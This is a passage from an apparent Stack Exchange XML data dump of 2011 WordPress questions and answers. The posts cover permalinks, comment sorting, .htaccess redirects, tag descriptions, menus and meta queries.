doesn't work properly" Tags="&lt;themes&gt;&lt;frontpage&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="16678" PostTypeId="2" ParentId="16655" CreationDate="2011-05-08T10:57:20.743" Score="0" ViewCount="" Body="&lt;p&gt;I think you'll get a long way just by applying print styles in your CSS file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media screen {&#xA;  #widget-for-print { display:none; }&#xA;}&#xA;@media print {&#xA;  #widget-for-screen { display:none; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://reference.sitepoint.com/css/at-media&quot; rel=&quot;nofollow&quot;&gt;http://reference.sitepoint.com/css/at-media&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-08T10:57:20.743" CommentCount="2" />
  <row Id="16679" PostTypeId="2" ParentId="2171" CreationDate="2011-05-08T11:03:45.227" Score="0" ViewCount="" Body="&lt;p&gt;wamp uses more memory to run then xampp.&lt;/p&gt;&#xA;" OwnerUserId="5216" LastActivityDate="2011-05-08T11:03:45.227" />
  <row Id="16680" PostTypeId="2" ParentId="16676" CreationDate="2011-05-08T11:21:44.373" Score="2" ViewCount="" Body="&lt;p&gt;Just incase if you have not checked out the &lt;a href=&quot;http://wealthynetizen.com/comment-rating-pro/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;plugin developers page&lt;/strong&gt;&lt;/a&gt; but heres something that you could try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists(ckrating_get_comments)) {&#xA;$post_id = $post-&amp;gt;ID;&#xA;$mycomments = ckrating_get_comments(&#xA;&quot;post_id=$post_id&amp;amp;status=approve&amp;amp;&#xA;orderby=comment_karma&amp;amp;order=DESC&quot;);&#xA;}&#xA;else&#xA;$mycomments = null;&#xA;wp_list_comments(array(), $mycomments);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it working placing in functions.php&#xA;I got it working placing in functions.php `function comment_comparator($a, $b)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function comment_comparator($a, $b)&#xA;    {&#xA;        $compared = 0;&#xA;        if($a-&amp;gt;comment_karma != $b-&amp;gt;comment_karma)&#xA;        {&#xA;            $compared = $a-&amp;gt;comment_karma &amp;lt; $b-&amp;gt;comment_karma ? 1:-1;&#xA;        }&#xA;        return $compared;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in comments.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;    $comment_arr = $wp_query-&amp;gt;comments;&#xA;    usort($comment_arr, 'comment_comparator');&#xA;    wp_list_comments('callback=gtcn_basic_callback', $comment_arr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Found on this &lt;a href=&quot;http://www.theunusableweb.com/tips/coding/php-coding/wordpress/re-order-wordpress-comments/&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-05-13T16:49:42.470" LastActivityDate="2011-05-13T16:49:42.470" CommentCount="2" />
  <row Id="16681" PostTypeId="2" ParentId="16675" CreationDate="2011-05-08T11:29:13.430" Score="1" ViewCount="" Body="&lt;p&gt;I would bet my bottom $ that the permalinks are the problem, your link shows a heck of a lot wp_rewrite queries..  &lt;a href=&quot;http://wordpress.org/support/topic/custom-permalink-dramatically-slows-website&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;take a look at this&lt;/strong&gt;&lt;/a&gt; a similar issue &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-08T11:29:13.430" CommentCount="2" />
  <row Id="16682" PostTypeId="1" AcceptedAnswerId="16684" CreationDate="2011-05-08T11:36:11.363" Score="-1" ViewCount="42" Body="&lt;p&gt;What's the &lt;code&gt;.php&lt;/code&gt; file which generates the &lt;code&gt;Appereance-&amp;gt;Custom Background&lt;/code&gt; page in Wordpress' admin panel?&#xA;&lt;img src=&quot;http://i.stack.imgur.com/kE0QA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-08T12:01:20.620" Title="What's the .php file which generates the Custom Background page in the admin panel?" Tags="&lt;php&gt;&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="16683" PostTypeId="2" ParentId="16675" CreationDate="2011-05-08T11:37:18.083" Score="1" ViewCount="" Body="&lt;p&gt;Standard permalink advice is to not start with postnames, tags, categories or authors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Codex on Permalinks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For performance reasons, it is not a good idea to start your permalink structure with the category, tag, author, or postname fields. The reason is that these are text fields, and using them at the beginning of your permalink structure it takes more time for WordPress to distinguish your Post URLs from Page URLs (which always use the text &quot;page slug&quot; as the URL), and to compensate, WordPress stores a lot of extra information in its database (so much that sites with lots of Pages have experienced difficulties). So, it is best to have at least two path segments in your post's permalink structure such as /%year%/%postname%/ or even /posts/%postname%/. (Some people recommend /%post_id%/%postname%/ which works for performance reasons but others recommend against it because it is unfriendly to users in the many contexts in which users interact with URLs.) See Otto's technical writeup on the topic as well as this wp-testers discussion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-08T11:37:18.083" />
  <row Id="16684" PostTypeId="2" ParentId="16682" CreationDate="2011-05-08T12:01:20.620" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-admin/custom-background.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-08T12:01:20.620" />
  <row Id="16685" PostTypeId="2" ParentId="16673" CreationDate="2011-05-08T14:29:26.590" Score="2" ViewCount="" Body="&lt;p&gt;If your permalink structure is &lt;code&gt;/%postname%/&lt;/code&gt; with a trailing slash, you need to pass the hash like this: &lt;code&gt;/faqs/#b&lt;/code&gt; with the trailing slash.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-08T14:29:26.590" />
  <row Id="16686" PostTypeId="1" CreationDate="2011-05-08T15:12:11.297" Score="0" ViewCount="52" Body="&lt;p&gt;I have came across the WordPress logout error several times but I really never figured out the cause of it. In earlier days, it was generally that I was missing a nonce but now even with logout link generated by &lt;code&gt;wp_logout_url();&lt;/code&gt;, I am greeted with the WP die screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You are attempting to log out of SITE&#xA;Do you really want to log out?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What causes this to trigger at the first place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Like I mentioned it was happening randomly, I think I figured out something. IT works fine with link generated by &lt;code&gt;wp_logout_url();&lt;/code&gt; but as soon as I use a &lt;code&gt;$redirect&lt;/code&gt; parameter in &lt;code&gt;wp_logout_url( $redirect );&lt;/code&gt;, I start facing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any light on the matter?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-05-10T19:35:19.977" LastActivityDate="2011-05-10T19:35:19.977" Title="WordPress failure when logging out" Tags="&lt;logout&gt;&lt;nonce&gt;" />
  <row Id="16687" PostTypeId="2" ParentId="8081" CreationDate="2011-05-08T15:46:32.170" Score="0" ViewCount="" Body="&lt;p&gt;did anyone get this to work with the code mentioned by bainternet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so can you post the full code.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2011-05-08T15:46:32.170" CommentCount="1" />
  <row Id="16688" PostTypeId="2" ParentId="14300" CreationDate="2011-05-08T16:49:27.130" Score="1" ViewCount="" Body="&lt;p&gt;Better use a .htaccess redirect so you avoid even loading WP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks&#xA;RewriteEngine on&#xA;RewriteRule (.*) http://www.newdomain.com [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to keep the path after the domain, (e.g. www.olddomain.com/mypage -&gt; www.newdomain.com/mypage) replace the last line with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-08T19:53:55.677" LastActivityDate="2011-05-08T19:53:55.677" CommentCount="1" />
  <row Id="16689" PostTypeId="2" ParentId="16675" CreationDate="2011-05-08T17:01:42.870" Score="1" ViewCount="" Body="&lt;p&gt;How many pages do you have? Pages.. not posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd have the same problem in the past with a site with a LOT of pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's even &lt;a href=&quot;http://core.trac.wordpress.org/ticket/10798&quot; rel=&quot;nofollow&quot;&gt;documented&lt;/a&gt; as a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is your case, try setting $use_verbose_page_rules to false in the WP_rewrite class&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Class WP_Rewrite&#xA;bool $use_verbose_page_rules = true&#xA;Whether to write every mod_rewrite rule for WordPress pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since: 2.5.0&#xA;access: public&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change it, try (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'rewrite_rules_array','changeVerboseRules' );&#xA;&#xA;function changeVerboseRules(){&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;use_verbose_page_rules = false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, this is a hack. You should read &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="5223" LastEditorDisplayName="" LastEditDate="2011-05-08T19:37:44.510" LastActivityDate="2011-05-08T19:37:44.510" CommentCount="4" />
  <row Id="16691" PostTypeId="1" AcceptedAnswerId="16751" CreationDate="2011-05-08T18:09:21.103" Score="2" ViewCount="235" Body="&lt;p&gt;I have my front page setup to display a custom post type via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;&#xA;function my_get_posts( $query ) {&#xA;&#xA;    if ( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )         $query-&amp;gt;set( 'post_type', array( 'jwf_portfolio', 'attachment' ) );&#xA;                $query-&amp;gt;set( 'order', 'menu_order' );&#xA;&#xA;    return $query; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the most efficient way to have these ordered by the number value in the Order input in the Attributes metabox for each custom post? Currently I'm trying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( $query_string . '&amp;amp;orderby=menu_order' ); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on my &lt;code&gt;index.php&lt;/code&gt; and that's not cutting it.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T03:32:58.577" LastActivityDate="2011-05-09T12:35:31.543" Title="Best way to arrange custom post types by Attributes -&gt; Order metabox value?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;page-attributes&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16692" PostTypeId="2" ParentId="16673" CreationDate="2011-05-08T18:31:28.260" Score="2" ViewCount="" Body="&lt;p&gt;The URL &lt;em&gt;hash&lt;/em&gt; (everything after the &lt;code&gt;#&lt;/code&gt;) does not get sent to the server, so Apache or WordPress can't detect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress redirects all URLs to the &lt;em&gt;canonical&lt;/em&gt; version of the URL, to make sure everyone uses the same URL when linking to a post (which can help increase your ranking in search engines). This causes a redirect from &lt;code&gt;/faqs&lt;/code&gt; to &lt;code&gt;/faqs/&lt;/code&gt;. &lt;a href=&quot;http://stackoverflow.com/questions/5283395/url-hash-is-persisting-between-redirects&quot;&gt;Browsers should append the &lt;code&gt;#hash&lt;/code&gt; part to the redirected URL, but it seems IE does not do this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can prevent a redirect by using the canonical URL in the URL, like Milo suggested. So link to &lt;code&gt;/faqs/#b&lt;/code&gt; and it should work.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-08T18:31:28.260" />
  <row Id="16693" PostTypeId="2" ParentId="5549" CreationDate="2011-05-08T19:48:31.967" Score="0" ViewCount="" Body="&lt;p&gt;I used &lt;a href=&quot;http://lesterchan.net/wordpress/readme/wp-print.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; plugin in a similar situation. It auto generats a printable version of your content and add a click-to-print link to it.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-08T19:48:31.967" CommentCount="1" />
  <row Id="16694" PostTypeId="1" AcceptedAnswerId="16755" CreationDate="2011-05-08T20:27:53.867" Score="1" ViewCount="120" Body="&lt;p&gt;In Wordpress&gt;Settings&gt;Permalinks there is an option at the bottom of the page to change the 'Tag Base'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've entered 'testtag' in this option and saved, but my tag pages are still displaying as 'tagged' (eg www.example.com/tagged/tagcategory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wpsc-functions.php in the wp-ecommerce&gt;wpsc-core folder... on line 319 'tagged' can be renamed which will change the URL's generated by things like the tag cloud, which in part solves the problem - but when you click on and request those new URL's it generates a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas please on how I can rename this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WP 3.1 and Wordpress E-commerce Plugin 3.8. I've got a test site on www.chainsawdr.com. An example of a tag URL can be found by clicking a link in the tag cloud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or advice would be greatly appreciated. Thanks for reading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChainsawDR.com&lt;/p&gt;&#xA;" OwnerUserId="5225" LastEditorUserId="5225" LastEditorDisplayName="" LastEditDate="2011-05-09T08:52:03.760" LastActivityDate="2011-05-09T14:13:07.763" Title="How to rename 'Tag Base' with WPeC 3.8?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="16695" PostTypeId="1" AcceptedAnswerId="16699" CreationDate="2011-05-08T20:41:25.923" Score="1" ViewCount="102" Body="&lt;p&gt;I'm trying to display the 'Tag Description' on my tagged pages. I've added an if statement to loop-page.php already to only show custom text when a tagged page is being displayed...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php } elseif ( is_tax ( 'product_tag' ) ){ ?&amp;gt;&amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt; print out this text on page&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but I don't know the code to output the tag description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the code to display the tag description? I want it to go after the H1 in the above code. I'm trying to output the description that is entered when you go into Wordpress Admin&gt;Products&gt;Product Tags&gt;Description using WPeC 3.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Twenty10 theme, WPec 3.8 and WP 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChainsawDR&lt;/p&gt;&#xA;" OwnerUserId="5225" LastActivityDate="2011-05-08T22:24:29.610" Title="How to echo tag description on loop-page.php using WPeC 3.8" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="16696" PostTypeId="1" AcceptedAnswerId="16698" CreationDate="2011-05-08T22:00:45.540" Score="0" ViewCount="69" Body="&lt;p&gt;Using JQuery: While the user types, Im trying to find a way to restrict a field to only accept a-z and 0-9, restricting a-z be lowercase without accents like ñ or ó.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; id=&quot;signup_username&quot; name=&quot;signup_username&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-05-08T22:16:49.290" Title="Accept a-z and 0-9 (restrict a-z to be lowercase without accents like ñ or ó)" Tags="&lt;jquery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16697" PostTypeId="2" ParentId="16440" CreationDate="2011-05-08T22:16:01.380" Score="0" ViewCount="" Body="&lt;p&gt;This metabox class does exactly what you are after and so much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;wpalchemy-metaboxes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-05-08T22:16:01.380" />
  <row Id="16698" PostTypeId="2" ParentId="16696" CreationDate="2011-05-08T22:16:49.290" Score="1" ViewCount="" Body="&lt;p&gt;Jquery is my favorite js library anything you can think of already has a plugin, in your case check out &#xA;&lt;strong&gt;jQuery AlphaNumeric&lt;/strong&gt;&#xA; &lt;a href=&quot;http://www.itgroup.com.ph/alphanumeric/&quot; rel=&quot;nofollow&quot;&gt;http://www.itgroup.com.ph/alphanumeric/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-08T22:16:49.290" CommentCount="1" />
  <row Id="16699" PostTypeId="2" ParentId="16695" CreationDate="2011-05-08T22:24:29.610" Score="0" ViewCount="" Body="&lt;p&gt;get the term by its slug and echo out the descriptions &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif {is_tax ( 'product_tag' ) ){ &#xA;  $term_slug = get_query_var( 'term' );&#xA;  $taxonomyName = get_query_var( 'taxonomy' );&#xA;  $current_term = get_term_by( 'slug', $term_slug, $taxonomyName );&#xA;  ?&amp;gt;&amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php echo $current_term-&amp;gt;description; ?&amp;gt;&amp;lt;/h1&amp;gt; &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-08T22:24:29.610" CommentCount="2" />
  <row Id="16700" PostTypeId="1" AcceptedAnswerId="16701" CreationDate="2011-05-08T22:40:40.980" Score="0" ViewCount="65" Body="&lt;p&gt;Okay... I turned every stone on the internet and I couldn't find plugin that I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a dedicated page for each tag. When I click on a tag I want to get a page with &quot;posts cloud&quot; - all posts tagged with that tag. Post font should be proportional to &quot;popularity&quot; of a post...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such thing on earth?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-05-08T23:04:27.767" Title="Posts cloud - Anyone?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="16701" PostTypeId="2" ParentId="16700" CreationDate="2011-05-08T22:50:50.823" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at CloudClutter theme and see how its done &lt;a href=&quot;http://wordpress.org/extend/themes/cloudclutter&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/cloudclutter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-08T22:50:50.823" CommentCount="2" />
  <row Id="16704" PostTypeId="1" AcceptedAnswerId="16707" CreationDate="2011-05-09T00:20:12.573" Score="0" ViewCount="47" Body="&lt;p&gt;How do I make a menu entry that's just plain text, not a link? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My kludge workaround is linking to &quot;/&quot;, but I'd prefer no link at all. &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-05-09T01:28:53.383" Title="Do not hyperlink menu heading" Tags="&lt;menus&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="16705" PostTypeId="2" ParentId="15993" CreationDate="2011-05-09T00:42:01.150" Score="0" ViewCount="" Body="&lt;p&gt;I've used the Get Post Image plugin to do this here: &lt;a href=&quot;http://surfhatteras.com/&quot; rel=&quot;nofollow&quot;&gt;http://surfhatteras.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get Post Image is a wrapper for Get The Image WordPress Plugin and phpThumb library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using it you can do something like &lt;code&gt;&amp;lt;?php get_post_image ('w=200&amp;amp;amp;zc=1&amp;amp;amp;fltr[]=ric|30|30'); ?&amp;gt;&lt;/code&gt;  to round the corners of a posted image. Or you can you wrap your images yourself: &lt;a href=&quot;http://phpthumb.sourceforge.net/demo/demo/phpThumb.demo.demo.php#x33&quot; rel=&quot;nofollow&quot;&gt;http://phpthumb.sourceforge.net/demo/demo/phpThumb.demo.demo.php#x33&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to cache! &lt;a href=&quot;http://mrphp.com.au/code/image-cache-using-phpthumb-and-modrewrite&quot; rel=&quot;nofollow&quot;&gt;http://mrphp.com.au/code/image-cache-using-phpthumb-and-modrewrite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-09T00:42:01.150" />
  <row Id="16706" PostTypeId="2" ParentId="15467" CreationDate="2011-05-09T01:05:04.423" Score="0" ViewCount="" Body="&lt;p&gt;I ended up just going through by library, and deleting anything with a broken preview thumb. Didn't take too long.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-09T01:05:04.423" />
  <row Id="16707" PostTypeId="2" ParentId="16704" CreationDate="2011-05-09T01:28:53.383" Score="2" ViewCount="" Body="&lt;p&gt;If this is for a dynamic menu you can use a 'Custom Links' and use a # for the URL then click add to menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it's in the menu, remove the # from the URL in the menu and save the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll then be a text only no link item. (you can then add sub menu's that are linked) which is what I use this method for. &lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-09T01:28:53.383" />
  <row Id="16708" PostTypeId="1" AcceptedAnswerId="16710" CreationDate="2011-05-09T01:59:41.823" Score="-1" ViewCount="120" Body="&lt;p&gt;I created an option panel following this &lt;a href=&quot;http://www.woothemes.com/2009/12/preview-the-new-wooframework-video/&quot; rel=&quot;nofollow&quot;&gt;Woo theme tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But each time I try to save the settings I get the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You do not have sufficient permissions&#xA;  to access this page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Not sure if this helps but I'm using Wordpress 3.1.2)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the permission issue if I place the code directly in the &lt;code&gt;function.php&lt;/code&gt; file in my theme folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the file in &lt;code&gt;functions/custom-functions.php&lt;/code&gt;. I have to change the 'header Location,' not sure how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_add_admin() {&#xA;&#xA;global $themename, $shortname, $options;&#xA;&#xA;if ( $_GET['page'] == basename(__FILE__) ) {&#xA;&#xA;    if ( 'save' == $_REQUEST['action'] ) {&#xA;&#xA;        foreach ($options as $value) {&#xA;        update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }&#xA;&#xA;foreach ($options as $value) {&#xA;    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }&#xA;&#xA;    header(&quot;Location: admin.php?page=functions.php&amp;amp;saved=true&quot;);&#xA;die;&#xA;&#xA;}&#xA;else if( 'reset' == $_REQUEST['action'] ) {&#xA;&#xA;    foreach ($options as $value) {&#xA;        delete_option( $value['id'] ); }&#xA;&#xA;    header(&quot;Location: admin.php?page=functions.php&amp;amp;reset=true&quot;);&#xA;die;&#xA;&#xA;}&#xA;}&#xA;&#xA;add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'mytheme_admin');&#xA;}&#xA;&#xA;function mytheme_add_init() {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-05-09T02:09:00.190" LastActivityDate="2011-05-09T02:11:17.643" Title="I don't have permission to save the theme options I created myself?" Tags="&lt;admin&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="16709" PostTypeId="1" AcceptedAnswerId="17102" CreationDate="2011-05-09T02:06:35.503" Score="2" ViewCount="346" Body="&lt;p&gt;I'm working on a project in which I'm creating a custom post type and custom data entered via meta boxes associated with my custom post type. For whatever reason I decided to code the meta boxes in such a way that the inputs in each metabox are part of an array. For instance, I'm storing longitude and latitude:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt; &#xA;    &amp;lt;label for=&quot;latitude&quot;&amp;gt;Latitude:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt; &#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;latitude&quot; name=&quot;coordinates[latitude]&quot; class=&quot;full-width&quot; value=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/p&amp;gt; &#xA;&amp;lt;p&amp;gt;     &#xA;    &amp;lt;label for=&quot;longitude&quot;&amp;gt;Longitude:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt; &#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;longitude&quot; name=&quot;coordinates[longitude]&quot; class=&quot;full-width&quot; value=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For whatever reason, I liked the idea of having a singular postmeta entry for each metabox. On the &lt;code&gt;save_post&lt;/code&gt; hook, I save the data like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta($post_id, '_coordinates', $_POST['coordinates']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did this because I have three metaboxes and I like just having 3 postmeta values for each post; however, I've now realized a potential issue with this. I may want to use WP_Query to only pull out certain posts based these meta values. For instance, I may want to get all posts that have latitude values above 50. If I had this data in the database individually, perhaps using the key &lt;code&gt;latitude&lt;/code&gt;, I would do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'my-post-type',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'latitude',&#xA;            'value' =&amp;gt; '50',&#xA;            'compare' =&amp;gt; '&amp;gt;'&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I have the latitude as part of the &lt;code&gt;_coordinates&lt;/code&gt; postmeta, this would not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, is there a way to utilize &lt;code&gt;meta_query&lt;/code&gt; to query a serialized array like I have in this scenario?&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-12T21:10:32.833" Title="meta_query with meta values as serialize arrays" Tags="&lt;wp-query&gt;&lt;metabox&gt;&lt;meta-query&gt;" AnswerCount="2" FavoriteCount="0" />
